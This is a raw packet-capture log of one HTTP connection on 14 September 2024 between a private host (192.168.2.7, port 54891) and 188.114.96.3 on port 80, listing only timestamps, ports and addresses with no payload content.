Sep 14, 2024 18:44:29.117993116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118026018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118050098 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.118098974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118132114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118146896 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.118165016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118206024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118208885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.118263960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118288994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118303061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118316889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118330956 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118345022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.118347883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118361950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118366957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.118379116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118403912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118403912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.118418932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118433952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118442059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.118449926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118464947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118472099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.118479967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118495941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118504047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.118510962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118529081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118534088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.118544102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118558884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118568897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.118575096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118587017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.118602037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.118623018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.170357943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.170403957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.170442104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.170567036 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.170679092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.170711994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.170737028 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.170746088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.170784950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.170795918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.199978113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200011969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200064898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200117111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200114965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.200114965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.200153112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200186968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200217009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.200223923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200261116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200268030 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.200294018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200326920 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200340033 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.200417042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200452089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200464964 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.200486898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200542927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.200601101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200633049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200670958 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200680017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.200704098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200737953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200746059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.200776100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200809002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200820923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.200841904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200875044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200886965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.200910091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200943947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.200954914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.201154947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201188087 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201210022 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.201222897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201260090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201271057 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.201292992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201324940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201345921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.201358080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201404095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.201407909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201441050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201472998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201484919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.201507092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201550007 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.201556921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201591015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201622963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201632977 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.201656103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201689005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201699018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.201723099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201756001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201761961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.201791048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201832056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.201872110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201905966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.201950073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.202003002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202037096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202069998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202080965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.202101946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202133894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202164888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202176094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.202198029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202202082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.202234983 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202265024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202275038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.202377081 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202409029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202431917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.202441931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202474117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202492952 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.202502012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202545881 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.202553034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202585936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202617884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202627897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.202651978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202683926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202692986 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.202719927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202752113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202763081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.202785015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202816963 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202826023 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.202850103 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202884912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.202891111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203005075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203058004 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203088045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203121901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203155041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203169107 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203188896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203223944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203238964 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203274965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203306913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203321934 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203341007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203375101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203394890 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203445911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203480959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203490973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203515053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203547001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203553915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203578949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203612089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203622103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203644991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203675985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203687906 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203708887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203742981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203754902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203777075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203804970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203836918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203857899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203871012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203898907 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203903913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203938961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.203952074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.203974009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.204006910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.204011917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.204039097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.204071045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.204098940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.204103947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.204138994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.204144955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.204173088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.204205990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.204216957 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.204240084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.204271078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.204278946 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.252187014 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.256798029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.256833076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.256851912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.256942987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.256972075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.256988049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.257003069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.257019043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.257024050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.257045984 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.285339117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285377979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285430908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.285434008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285475016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285501003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.285509109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285548925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.285562992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285598040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285630941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285639048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.285665035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285708904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.285720110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285752058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285784960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285794020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.285819054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285861969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.285870075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285904884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285937071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.285949945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.285970926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286019087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.286022902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286057949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286091089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286098003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.286123991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286156893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286170006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.286339045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286375046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286389112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.286407948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286453009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.286462069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286497116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286530018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286577940 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.286578894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286613941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286633015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286657095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.286668062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286705017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286715031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.286744118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286777973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286812067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286823034 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.286845922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286853075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.286880016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286896944 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.286916018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286945105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.286967993 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.286995888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287031889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287040949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.287065029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287106991 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.287117004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287151098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287220955 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.287228107 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287262917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287297010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287302971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.287331104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287377119 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.287427902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287481070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287517071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287528992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.287552118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287585974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287601948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.287636042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287667990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287692070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.287719965 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287751913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287765980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.287785053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287818909 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287837982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.287851095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287883997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287899971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.287914038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287945986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.287966013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.287978888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288012981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288021088 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288048029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288095951 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288098097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288131952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288163900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288177013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288202047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288235903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288247108 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288269997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288304090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288316011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.288338900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.288372993 CEST	80	54891	188.114.96.3	192.168.2.7
